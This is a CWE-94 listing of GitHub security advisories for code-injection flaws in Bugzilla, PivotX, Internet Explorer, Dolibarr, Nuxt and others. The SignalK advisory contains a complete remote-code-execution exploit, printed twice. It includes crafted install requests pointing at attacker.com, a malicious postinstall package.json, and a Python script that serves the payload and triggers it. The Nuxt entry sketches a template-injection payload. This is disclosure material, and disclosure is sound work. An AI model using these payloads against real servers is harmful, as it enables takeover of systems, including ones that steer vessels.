CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9549 vulnerabilities reference this CWE, most recent first.
GHSA-93G6-7V2R-H2R4
Vulnerability from github – Published: 2022-05-17 02:03 – Updated: 2025-04-11 03:43CRLF injection vulnerability in chart.cgi in Bugzilla before 3.2.10, 3.4.x before 3.4.10, 3.6.x before 3.6.4, and 4.0.x before 4.0rc2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the query string, a different vulnerability than CVE-2010-2761 and CVE-2010-4411.
{
"affected": [],
"aliases": [
"CVE-2010-4572"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-01-28T16:00:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in chart.cgi in Bugzilla before 3.2.10, 3.4.x before 3.4.10, 3.6.x before 3.6.4, and 4.0.x before 4.0rc2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the query string, a different vulnerability than CVE-2010-2761 and CVE-2010-4411.",
"id": "GHSA-93g6-7v2r-h2r4",
"modified": "2025-04-11T03:43:24Z",
"published": "2022-05-17T02:03:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4572"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=621572"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/65440"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-February/053665.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-February/053678.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/70703"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43033"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43165"
},
{
"type": "WEB",
"url": "http://www.bugzilla.org/security/3.2.9"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2011/dsa-2322"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/45982"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0207"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0271"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-93JC-VQQC-VVVH
Vulnerability from github – Published: 2026-01-02 15:23 – Updated: 2026-01-06 18:41The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any postinstall script defined in package.json, enabling arbitrary code execution.
The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious postinstall script.
Affected Code
File: src/interfaces/appstore.js (lines 46-76)
app.post(
[
`${SERVERROUTESPREFIX}/appstore/install/:name/:version`,
`${SERVERROUTESPREFIX}/appstore/install/:org/:name/:version`
],
(req, res) => {
let name = req.params.name
const version = req.params.version // No validation on version format
// ... validation only checks if package name exists ...
installSKModule(name, version) // Passes unsanitized version to npm
}
)
File: src/modules.ts (lines 180-205)
if (name) {
packageString = version ? `${name}@${version}` : name // Direct concatenation
}
if (process.platform === 'win32') {
npm = spawn('cmd', ['/c', `npm --save ${command} ${packageString}`], opts)
} else {
npm = spawn('npm', ['--save', command, packageString], opts)
}
Impact
An attacker with admin credentials (obtained via the authentication bypass chain) can execute arbitrary commands on the server with the privileges of the SignalK process. This enables complete system compromise including data theft, backdoor installation, lateral movement, and denial of service.
A compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, affecting all connected devices. Attack scenarios include manipulating autopilot systems (Pypilot, Raymarine, Garmin) via the Autopilot API to alter vessel course, spoofing AIS messages to create phantom vessels on radar, altering GPS position data sent to chart plotters and autopilots, injecting false depth sounder readings, manipulating wind instrument data, or sending shutdown commands to electronically controlled engines via NMEA 2000. Many vessels expose SignalK to the internet for remote monitoring, making them globally accessible to attackers.
The vulnerability can be exploited using any of npm's flexible version specifier formats:
1. Real npm Package with Required Keyword
POST /skServer/appstore/install/malicious-signalk-plugin/1.0.0 HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0
Publishing a malicious package to the official npm registry with the signalk-node-server-plugin or signalk-webapp keyword allows us to install arbitrary npm packages using standard semantic versioning format (1.0.0). This is non-stealthy as the package is publicly visible, but can be leveraged to spread malware via npm's ecosystem, since such a package will show up on the webapp feed and other users might install it.
2. Real npm Package via npm Alias
POST /skServer/appstore/install/signalk-pushover-plugin/npm:malicious-package@1.0.0 HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0
The npm: prefix allows installing a package under a different name. For example, npm:malicious-package@1.0.0 installs malicious-package but references it as if it were the legitimate signalk-pushover-plugin. This obscures the actual package being installed from casual inspection, making it stealthier while still requiring npm publishing.
3. Package Hosted on GitHub (GitHub Shorthand)
POST /skServer/appstore/install/signalk-pushover-plugin/attacker%2Fmalicious-plugin HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0
The format username/repo (URL-encoded as attacker%2Fmalicious-plugin) is shorthand for github:username/repo. npm automatically fetches the repository from GitHub, extracts it, and runs npm install. If the repo contains a postinstall script, it executes. The repository must contain a valid package.json with the malicious script.
4. Package Hosted on Attacker-Controlled Git Server (git+ Protocol)
POST /skServer/appstore/install/signalk-pushover-plugin/git%2Bhttps:%2F%2Fattacker.com%2Fmalicious-plugin.git HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0
The git+https:// or git+ssh:// prefix tells npm to clone a git repository. This works with any git server, not just GitHub. The attacker has full control over the repository contents and can update it at any time. This provides maximum control over the package source without relying on third-party services.
5. Package Hosted on Attacker Webserver as Tarball
POST /skServer/appstore/install/signalk-pushover-plugin/http:%2F%2Fattacker.com%2Fpkg.tgz HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0
The http:// or https:// URL pointing to a .tgz file tells npm to download and extract the tarball. This is the most flexible method as it requires no external service dependencies - the attacker controls both the package contents and the hosting infrastructure. No git repository or npm registry account needed.
All methods result in npm executing the postinstall script from the attacker-controlled package. A malicious npm package requires only two files to achieve RCE:
package.json - Defines the package metadata and the malicious script:
{
"name": "signalk-evil-plugin",
"version": "1.0.0",
"keywords": ["signalk-node-server-plugin"],
"scripts": {
"postinstall": "node -e \"require('child_process').exec('calc.exe')\""
}
}
The postinstall script executes automatically after npm installs the package.
index.js - Minimal plugin implementation to avoid errors:
module.exports = function(app) {
return {
id: 'evil-plugin',
name: 'Evil Plugin',
start: function() {},
stop: function() {}
}
}
PoC using the tarball variant of the exploit
import requests
import tarfile
import json
import io
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import quote
TARGET = "http://localhost:3000"
ATTACKER_IP = "localhost"
ATTACKER_PORT = 9999
RCE_COMMAND = "calc.exe" # Windows; use "id > /tmp/pwned" for Linux
TOKEN = "<VALID_AUTH_TOKEN>"
def create_malicious_tarball():
package_json = {
"name": "signalk-evil-plugin",
"version": "1.0.0",
"keywords": ["signalk-node-server-plugin"],
"scripts": {
"postinstall": f"node -e \"require('child_process').exec('{RCE_COMMAND}')\""
}
}
index_js = b"module.exports = function(app) { return { id: 'evil', start: function(){}, stop: function(){} } }"
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
# Add package.json
pkg_data = json.dumps(package_json, indent=2).encode()
pkg_info = tarfile.TarInfo(name="package/package.json")
pkg_info.size = len(pkg_data)
tar.addfile(pkg_info, io.BytesIO(pkg_data))
# Add index.js
idx_info = tarfile.TarInfo(name="package/index.js")
idx_info.size = len(index_js)
tar.addfile(idx_info, io.BytesIO(index_js))
return tar_buffer.getvalue()
def start_malicious_server(tarball_data):
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[+] Victim fetched malicious package!")
self.send_response(200)
self.send_header("Content-Type", "application/gzip")
self.send_header("Content-Length", len(tarball_data))
self.end_headers()
self.wfile.write(tarball_data)
def log_message(self, *args):
pass
server = HTTPServer(("0.0.0.0", ATTACKER_PORT), Handler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
print(f"[+] Malicious server running on port {ATTACKER_PORT}")
return server
def trigger_rce(token):
tarball_url = f"http://{ATTACKER_IP}:{ATTACKER_PORT}/package.tgz"
encoded_url = quote(tarball_url, safe='')
url = f"{TARGET}/skServer/appstore/install/signalk-pushover-plugin/{encoded_url}"
headers = {"Authorization": f"Bearer {token}"}
print(f"[*] Triggering installation from {tarball_url}")
r = requests.post(url, headers=headers)
print(f"[+] Response: {r.status_code} - {r.text}")
if __name__ == "__main__":
tarball = create_malicious_tarball()
print(f"[+] Created malicious tarball ({len(tarball)} bytes)")
start_malicious_server(tarball)
trigger_rce(TOKEN)
Recommendation
- Restrict package installation to the official npm registry only by validating that version parameters match semver format
- Use npm's
--ignore-scriptsflag to prevent automatic script execution - Implement an allowlist of approved packages
- Consider sandboxing the package installation process
While we understand that allowing 3rd party plugin installation is an intended functionality we believe that more secure practices must be applied to the whole process given the operational importance a SignalK instance can have onboard a vessel and it's rise in polularity.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68619"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T15:23:39Z",
"nvd_published_at": "2026-01-01T19:15:53Z",
"severity": "HIGH"
},
"details": "The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution.\n\nThe vulnerability exists because npm\u0027s version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script.\n\n### Affected Code\n\n**File**: `src/interfaces/appstore.js` (lines 46-76)\n\n```javascript\napp.post(\n [\n `${SERVERROUTESPREFIX}/appstore/install/:name/:version`,\n `${SERVERROUTESPREFIX}/appstore/install/:org/:name/:version`\n ],\n (req, res) =\u003e {\n let name = req.params.name\n const version = req.params.version // No validation on version format\n \n // ... validation only checks if package name exists ...\n \n installSKModule(name, version) // Passes unsanitized version to npm\n }\n)\n```\n\n**File**: `src/modules.ts` (lines 180-205)\n\n```typescript\nif (name) {\n packageString = version ? `${name}@${version}` : name // Direct concatenation\n}\n\nif (process.platform === \u0027win32\u0027) {\n npm = spawn(\u0027cmd\u0027, [\u0027/c\u0027, `npm --save ${command} ${packageString}`], opts)\n} else {\n npm = spawn(\u0027npm\u0027, [\u0027--save\u0027, command, packageString], opts)\n}\n```\n\n### Impact\n\nAn attacker with admin credentials (obtained via the authentication bypass chain) can execute arbitrary commands on the server with the privileges of the SignalK process. This enables complete system compromise including data theft, backdoor installation, lateral movement, and denial of service.\n\nA compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, affecting all connected devices. Attack scenarios include manipulating autopilot systems (Pypilot, Raymarine, Garmin) via the Autopilot API to alter vessel course, spoofing AIS messages to create phantom vessels on radar, altering GPS position data sent to chart plotters and autopilots, injecting false depth sounder readings, manipulating wind instrument data, or sending shutdown commands to electronically controlled engines via NMEA 2000. Many vessels expose SignalK to the internet for remote monitoring, making them globally accessible to attackers.\n\nThe vulnerability can be exploited using any of npm\u0027s flexible version specifier formats:\n\n**1. Real npm Package with Required Keyword**\n\n```http\nPOST /skServer/appstore/install/malicious-signalk-plugin/1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nPublishing a malicious package to the official npm registry with the `signalk-node-server-plugin` or `signalk-webapp` keyword allows us to install arbitrary npm packages using standard semantic versioning format (`1.0.0`). This is non-stealthy as the package is publicly visible, but can be leveraged to spread malware via npm\u0027s ecosystem, since such a package will show up on the webapp feed and other users might install it.\n\n**2. Real npm Package via npm Alias**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/npm:malicious-package@1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe `npm:` prefix allows installing a package under a different name. For example, `npm:malicious-package@1.0.0` installs `malicious-package` but references it as if it were the legitimate `signalk-pushover-plugin`. This obscures the actual package being installed from casual inspection, making it stealthier while still requiring npm publishing.\n\n**3. Package Hosted on GitHub (GitHub Shorthand)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/attacker%2Fmalicious-plugin HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe format `username/repo` (URL-encoded as `attacker%2Fmalicious-plugin`) is shorthand for `github:username/repo`. npm automatically fetches the repository from GitHub, extracts it, and runs `npm install`. If the repo contains a `postinstall` script, it executes. The repository must contain a valid `package.json` with the malicious script.\n\n**4. Package Hosted on Attacker-Controlled Git Server (git+ Protocol)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/git%2Bhttps:%2F%2Fattacker.com%2Fmalicious-plugin.git HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe `git+https://` or `git+ssh://` prefix tells npm to clone a git repository. This works with any git server, not just GitHub. The attacker has full control over the repository contents and can update it at any time. This provides maximum control over the package source without relying on third-party services.\n\n**5. Package Hosted on Attacker Webserver as Tarball**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/http:%2F%2Fattacker.com%2Fpkg.tgz HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer \u003cVALID_AUTH_TOKEN\u003e\nContent-Length: 0\n```\n\nThe `http://` or `https://` URL pointing to a `.tgz` file tells npm to download and extract the tarball. This is the most flexible method as it requires no external service dependencies - the attacker controls both the package contents and the hosting infrastructure. No git repository or npm registry account needed.\n\nAll methods result in npm executing the `postinstall` script from the attacker-controlled package. A malicious npm package requires only two files to achieve RCE:\n\n**package.json** - Defines the package metadata and the malicious script:\n```json\n{\n \"name\": \"signalk-evil-plugin\",\n \"version\": \"1.0.0\",\n \"keywords\": [\"signalk-node-server-plugin\"],\n \"scripts\": {\n \"postinstall\": \"node -e \\\"require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\\\"\"\n }\n}\n```\n\nThe `postinstall` script executes automatically after npm installs the package.\n\n**index.js** - Minimal plugin implementation to avoid errors:\n```javascript\nmodule.exports = function(app) {\n return {\n id: \u0027evil-plugin\u0027,\n name: \u0027Evil Plugin\u0027,\n start: function() {},\n stop: function() {}\n }\n}\n```\n\n### PoC using the tarball variant of the exploit\n\n```python\nimport requests\nimport tarfile\nimport json\nimport io\nimport threading\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom urllib.parse import quote\n\nTARGET = \"http://localhost:3000\"\nATTACKER_IP = \"localhost\"\nATTACKER_PORT = 9999\nRCE_COMMAND = \"calc.exe\" # Windows; use \"id \u003e /tmp/pwned\" for Linux\nTOKEN = \"\u003cVALID_AUTH_TOKEN\u003e\"\n\ndef create_malicious_tarball():\n package_json = {\n \"name\": \"signalk-evil-plugin\",\n \"version\": \"1.0.0\",\n \"keywords\": [\"signalk-node-server-plugin\"],\n \"scripts\": {\n \"postinstall\": f\"node -e \\\"require(\u0027child_process\u0027).exec(\u0027{RCE_COMMAND}\u0027)\\\"\"\n }\n }\n \n index_js = b\"module.exports = function(app) { return { id: \u0027evil\u0027, start: function(){}, stop: function(){} } }\"\n \n tar_buffer = io.BytesIO()\n with tarfile.open(fileobj=tar_buffer, mode=\u0027w:gz\u0027) as tar:\n # Add package.json\n pkg_data = json.dumps(package_json, indent=2).encode()\n pkg_info = tarfile.TarInfo(name=\"package/package.json\")\n pkg_info.size = len(pkg_data)\n tar.addfile(pkg_info, io.BytesIO(pkg_data))\n \n # Add index.js\n idx_info = tarfile.TarInfo(name=\"package/index.js\")\n idx_info.size = len(index_js)\n tar.addfile(idx_info, io.BytesIO(index_js))\n \n return tar_buffer.getvalue()\n\ndef start_malicious_server(tarball_data):\n class Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(f\"[+] Victim fetched malicious package!\")\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/gzip\")\n self.send_header(\"Content-Length\", len(tarball_data))\n self.end_headers()\n self.wfile.write(tarball_data)\n \n def log_message(self, *args):\n pass\n \n server = HTTPServer((\"0.0.0.0\", ATTACKER_PORT), Handler)\n thread = threading.Thread(target=server.serve_forever, daemon=True)\n thread.start()\n print(f\"[+] Malicious server running on port {ATTACKER_PORT}\")\n return server\n\ndef trigger_rce(token):\n tarball_url = f\"http://{ATTACKER_IP}:{ATTACKER_PORT}/package.tgz\"\n encoded_url = quote(tarball_url, safe=\u0027\u0027)\n \n url = f\"{TARGET}/skServer/appstore/install/signalk-pushover-plugin/{encoded_url}\"\n \n headers = {\"Authorization\": f\"Bearer {token}\"}\n \n print(f\"[*] Triggering installation from {tarball_url}\")\n r = requests.post(url, headers=headers)\n print(f\"[+] Response: {r.status_code} - {r.text}\")\n\nif __name__ == \"__main__\":\n tarball = create_malicious_tarball()\n print(f\"[+] Created malicious tarball ({len(tarball)} bytes)\")\n \n start_malicious_server(tarball)\n trigger_rce(TOKEN)\n```\n\n### Recommendation\n\n1. Restrict package installation to the official npm registry only by validating that version parameters match semver format\n2. Use npm\u0027s `--ignore-scripts` flag to prevent automatic script execution\n3. Implement an allowlist of approved packages\n4. Consider sandboxing the package installation process\n\nWhile we understand that allowing 3rd party plugin installation is an intended functionality we believe that more secure practices must be applied to the whole process given the operational importance a SignalK instance can have onboard a vessel and it\u0027s rise in polularity.",
"id": "GHSA-93jc-vqqc-vvvh",
"modified": "2026-01-06T18:41:41Z",
"published": "2026-01-02T15:23:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68619"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/f06140bed702de93a5dbb6b33dc2486960764d1d"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package"
}
GHSA-93MH-W34W-H4W2
Vulnerability from github – Published: 2022-05-17 02:50 – Updated: 2022-05-17 02:50PivotX 2.3.11 allows remote authenticated Advanced users to execute arbitrary PHP code by performing an upload with a safe file extension (such as .jpg) and then invoking the duplicate function to change to the .php extension.
{
"affected": [],
"aliases": [
"CVE-2017-7570"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-07T04:59:00Z",
"severity": "HIGH"
},
"details": "PivotX 2.3.11 allows remote authenticated Advanced users to execute arbitrary PHP code by performing an upload with a safe file extension (such as .jpg) and then invoking the duplicate function to change to the .php extension.",
"id": "GHSA-93mh-w34w-h4w2",
"modified": "2022-05-17T02:50:37Z",
"published": "2022-05-17T02:50:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7570"
},
{
"type": "WEB",
"url": "https://gist.github.com/X1nda/749b6aac6e080624d9f8ec81321335df"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-93P3-5HHH-4J3J
Vulnerability from github – Published: 2022-05-03 03:25 – Updated: 2022-05-03 03:25Microsoft Internet Explorer 6, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka "Uninitialized Memory Corruption Vulnerability," a different vulnerability than CVE-2010-2556 and CVE-2011-0036.
{
"affected": [],
"aliases": [
"CVE-2011-0035"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-02-10T16:00:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 6, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka \"Uninitialized Memory Corruption Vulnerability,\" a different vulnerability than CVE-2010-2556 and CVE-2011-0036.",
"id": "GHSA-93p3-5hhh-4j3j",
"modified": "2022-05-03T03:25:28Z",
"published": "2022-05-03T03:25:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0035"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-003"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/64911"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A12371"
},
{
"type": "WEB",
"url": "http://osvdb.org/70831"
},
{
"type": "WEB",
"url": "http://support.avaya.com/css/P8/documents/100127294"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/46157"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1025038"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0318"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-93VR-64MM-3R9V
Vulnerability from github – Published: 2022-05-01 17:46 – Updated: 2022-05-01 17:46PHP remote file inclusion vulnerability in includes/includes.php in Guernion Sylvain Portail Web Php (aka Gsylvain35 Portail Web, PwP) before 2.5.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the site_path parameter.
{
"affected": [],
"aliases": [
"CVE-2007-0699"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-02-04T00:28:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in includes/includes.php in Guernion Sylvain Portail Web Php (aka Gsylvain35 Portail Web, PwP) before 2.5.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the site_path parameter.",
"id": "GHSA-93vr-64mm-3r9v",
"modified": "2022-05-01T17:46:19Z",
"published": "2022-05-01T17:46:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0699"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/32121"
},
{
"type": "WEB",
"url": "http://osvdb.org/33633"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/2223"
},
{
"type": "WEB",
"url": "http://sourceforge.net/project/shownotes.php?release_id=480538\u0026group_id=178400"
},
{
"type": "WEB",
"url": "http://www.attrition.org/pipermail/vim/2007-February/001269.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/458805/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/22361"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/0457"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-93WG-JRMM-CX46
Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-05-28 18:30An issue in Dolibarr ERP/CRM v.22.0.0 through v.22.0.4 and v.24.0.0-alpha allows a remote attacker to execute arbitrary code via the htdocs/core/class/commonobject.class.php.
{
"affected": [],
"aliases": [
"CVE-2026-37713"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T15:16:27Z",
"severity": "HIGH"
},
"details": "An issue in Dolibarr ERP/CRM v.22.0.0 through v.22.0.4 and v.24.0.0-alpha allows a remote attacker to execute arbitrary code via the htdocs/core/class/commonobject.class.php.",
"id": "GHSA-93wg-jrmm-cx46",
"modified": "2026-05-28T18:30:27Z",
"published": "2026-05-27T15:33:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-cq92-jp5j-rwvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37713"
},
{
"type": "WEB",
"url": "https://bryamzxz.github.io/2026/05/25/dol_eval-five-years"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9435-JCPG-PFQ8
Vulnerability from github – Published: 2022-05-17 01:40 – Updated: 2022-05-17 01:40miniCMS 1.0 and 2.0 allows remote attackers to execute arbitrary PHP code via a crafted (1) pagename or (2) area variable containing an executable extension, which is not properly handled by (a) update.php when writing files to content/, or (b) updatenews.php when writing files to content/news/.
{
"affected": [],
"aliases": [
"CVE-2012-5231"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-10-01T20:55:00Z",
"severity": "HIGH"
},
"details": "miniCMS 1.0 and 2.0 allows remote attackers to execute arbitrary PHP code via a crafted (1) pagename or (2) area variable containing an executable extension, which is not properly handled by (a) update.php when writing files to content/, or (b) updatenews.php when writing files to content/news/.",
"id": "GHSA-9435-jcpg-pfq8",
"modified": "2022-05-17T01:40:20Z",
"published": "2022-05-17T01:40:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5231"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/72645"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/18410"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/51612"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9473-5F9J-94WQ
Vulnerability from github – Published: 2026-08-05 21:29 – Updated: 2026-08-05 21:29Impact
Nuxt server islands accept props via the /__nuxt_island/ endpoint. When vue.runtimeCompiler: true is enabled (off by default) and the application has a server island component that forwards props into Vue's dynamic component resolution (<component :is>, resolveDynamicComponent, or h()), an attacker can inject a template key into the island props to achieve server-side remote code execution in the Nitro process.
{ "as": { "template": "<attacker-controlled>" } }
Vue's runtime template compiler compiles and executes the attacker-controlled template in the server process. The same primitive also works on the client side when the runtime compiler is active there, though the server-side path is the primary concern.
Some component libraries expose a polymorphic as / asChild prop that forwards its value into <component :is>; @nuxt/ui (via reka-ui) is a widely used example. An application is affected if such a component receives the attacker-controlled value, provided vue.runtimeCompiler is also enabled. Note this does not require the island author to explicitly forward a prop: island props that the island component does not declare fall through as attributes onto its single root element (standard Vue attribute inheritance), so an island whose root is a polymorphic component receives the attacker's as value implicitly. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink.
Common configurations that satisfy the preconditions
The flaw is in Nuxt core. The library below is not itself vulnerable; it is noted because it commonly provides the dynamic-component sink an application might inadvertently expose.
@nuxt/ui(via its underlyingreka-uiprimitives) exposes a polymorphicas/asChildprop that is forwarded into Vue's dynamic-component resolution. Installing@nuxt/uidoes not by itself register any component as a server island. Exploitation requires the application to define an island component (a.server.vuefile) whose rendered output puts the attacker-controlled value on such a component'sas/asChildprop; withvue.runtimeCompiler: true, the attacker-controlledtemplateis then compiled and executed. Because undeclared island props fall through as attributes to the single root, this can happen without any explicit binding: an island whose root is areka-ui/@nuxt/uicomponent is enough. An example vulnerable island (theasvalue falls through toUButton, no explicit forwarding needed):
```vue
Save ```
The island URL hash (/__nuxt_island/<Name>_<hash>.json) is a deterministic (unsalted) content hash, not an authentication token. It provides integrity relative to the URL but is not a security boundary: an attacker who knows the component name and desired props can compute a valid hash.
Mitigating factors
vue.runtimeCompileris off by default in Nuxt. The vast majority of Nuxt applications are not affected.- Exploitation requires a second precondition: the application must have a server island component that puts an attacker-controlled value onto a dynamic-component path (
<component :is>,resolveDynamicComponent,h(), or a polymorphicas/asChildprop). This can occur explicitly or via attribute fallthrough when the island's root is such a component. - SSG / static deployments are largely unreachable via this vector (no server process to exploit).
- Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components.
Affected versions
